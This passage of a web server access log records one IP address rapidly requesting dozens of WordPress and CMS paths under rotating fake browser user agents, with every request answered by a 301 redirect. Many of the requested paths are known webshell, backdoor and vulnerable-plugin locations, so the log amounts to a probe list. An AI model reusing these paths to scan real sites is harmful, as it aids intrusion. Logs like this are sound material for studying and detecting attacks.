795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:12 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:44:12 +0300] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:13 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:13 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:44:13 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:44:14 +0300] "GET /css/hekokstyle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:14 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:44:15 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:15 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:15 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:16 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:16 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:16 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:17 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:17 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:17 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:18 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:18 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:18 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:19 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:19 +0300] "GET /img/chat-search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:44:19 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:20 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:44:20 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:20 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:21 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:21 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:22 +0300] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:22 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:22 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:23 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:44:23 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:23 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:24 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:24 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:24 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:25 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:25 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:26 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:26 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:44:26 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:44:27 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:44:27 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:27 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:28 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:28 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:28 +0300] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:29 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:29 +0300] "GET /wp-admin/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:29 +0300] "GET /assets/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:30 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:30 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:30 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:44:31 +0300] "GET /wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:44:31 +0300] "GET /wp-admin/js/widget/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:44:32 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:44:32 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:32 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:33 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:44:33 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:33 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:34 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:44:34 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:34 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:35 +0300] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:35 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:35 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:36 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:36 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:36 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:37 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:37 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:44:37 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:38 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:38 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:44:38 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:39 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:39 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:40 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:40 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:40 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:44:41 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:41 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:41 +0300] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:44:42 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:42 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:44:42 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:43 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:43 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:43 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:44 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:44 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:44 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:45 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:45 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:46 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:46 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:44:47 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:44:47 +0300] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:47 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:48 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:44:48 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:48 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:44:49 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:44:49 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:44:49 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:50 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:44:50 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:44:50 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:44:51 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:44:51 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:44:51 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 